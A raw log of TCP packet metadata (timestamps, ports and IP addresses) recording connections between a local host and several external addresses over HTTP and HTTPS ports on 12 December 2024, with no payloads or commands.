Dec 12, 2024 14:26:18.853481054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.853503942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.853528976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.853539944 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.854639053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.854654074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.854677916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.854706049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.855357885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.855375051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.855402946 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.855413914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.856950045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.856966972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.856982946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.856990099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.857007027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.857032061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.857289076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.857328892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.858442068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.858458042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.858491898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.858514071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.859052896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.859069109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.859098911 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.859112978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.930015087 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:18.930147886 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:19.000257969 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.000272036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.000324011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.000963926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.000977039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.001022100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.001045942 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.001769066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.001781940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.001872063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.002998114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.003011942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.003058910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.003074884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.003906012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.003995895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.004187107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.004250050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.004657030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.004693031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.005033016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.005110979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.005645990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.005686998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.006305933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.006357908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.006582022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.006624937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.007188082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.007234097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.007680893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.007720947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.008027077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.008069992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.008586884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.008630991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.008713007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.008754015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.009519100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.009567976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.009577036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.009603977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.010587931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.010637045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.010909081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.010948896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.011702061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.011753082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.011835098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.011874914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.012542009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.012588024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.012804031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.012844086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.013509989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.013562918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.013607025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.013659000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.014674902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.014687061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.014727116 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.014754057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.015532017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.015553951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.015583992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.015597105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.016381979 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.016434908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.016505003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.016550064 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.017504930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.017515898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.017565012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.018376112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.018423080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.018589020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.018635035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.019551039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.019612074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.019617081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.019659996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.020335913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.020380974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.020567894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.020613909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.021531105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.021543026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.021570921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.021598101 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.022437096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.022449970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.022520065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.023587942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.023619890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.023638010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.023679018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.024504900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.024580956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.024729013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.024780989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.025773048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.025819063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.026649952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.026662111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.027013063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.027029037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.027117014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.027932882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.027946949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.027982950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.028007984 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.028693914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.028737068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.028753996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.028770924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.030314922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.030332088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.030364990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.030386925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.031492949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.031508923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.031549931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.031580925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.032179117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.032196045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.032216072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.032239914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.033503056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.033519030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.033551931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.033559084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.033581018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.033595085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.034503937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.034521103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.034538031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:19.034553051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.034576893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:19.266230106 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:19.266261101 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:19.266623974 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:19.413439035 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:19.502137899 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:19.502254963 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:19.502301931 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:20.233906984 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:20.233989954 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:20.234051943 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:20.235585928 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:20.235603094 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:20.325886011 CET	49788	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:20.325953960 CET	443	49788	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:20.326024055 CET	49788	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:20.326613903 CET	49788	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:20.326630116 CET	443	49788	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:21.305843115 CET	49788	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:21.562294006 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:21.562845945 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:21.597666979 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:21.597729921 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:21.597807884 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:21.616592884 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:21.616622925 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:21.682199955 CET	80	49773	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:21.682252884 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:21.682522058 CET	80	49794	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:21.682600975 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:21.683062077 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:21.802824974 CET	80	49794	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:23.062634945 CET	80	49794	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:23.062704086 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:23.065674067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:23.065959930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:23.185655117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:23.185775042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:23.185878038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:23.185930014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:23.185957909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:23.305727959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:23.415275097 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:23.415352106 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:23.417505026 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:23.417516947 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:23.417783022 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:23.421125889 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:23.421175003 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:23.421235085 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:23.421242952 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.031409979 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.031517982 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.031584024 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:24.050780058 CET	49796	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:24.050801992 CET	443	49796	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.277677059 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:24.277704000 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.278707027 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:24.289418936 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:24.289433002 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:24.550812960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.550865889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.550877094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.550894022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.550920010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.550935030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.551031113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551042080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551054001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551065922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551214933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.551214933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.551273108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551290035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551301003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.551333904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.551377058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.672027111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.672049046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.672180891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.672180891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.675734997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.675910950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.742731094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.742783070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.742830992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.742830992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.746918917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.747010946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.747029066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.747131109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.755327940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.755377054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.755475998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.755640984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.763360977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.763571978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.763734102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.771719933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.771893978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.772061110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.772280931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.780170918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.780292988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.780296087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.780364990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.788568974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.788595915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.788728952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.797341108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.797353983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.797444105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.805279970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.805314064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.805417061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.805417061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.813679934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.813741922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.813761950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.813929081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.821362972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.821460009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.821866035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.821939945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.862782001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.862796068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.862848997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.862878084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.934854984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.934973955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.934993029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.935163021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.937083006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.937166929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.937259912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.937386990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.941806078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.941975117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.945745945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.945823908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.947552919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.947731972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.948326111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.948384047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.952382088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.952436924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.952518940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.952572107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.957149029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.957245111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.958022118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.958144903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.960578918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.960624933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.964143038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.964210987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.965306997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.965370893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.965398073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.965456009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.969981909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.970084906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.970184088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.970230103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.974653006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.974666119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.974704981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.974723101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.979434013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.979485989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.979526997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.979583979 CET	49801	80	192.168.2.4	31.41.244.11
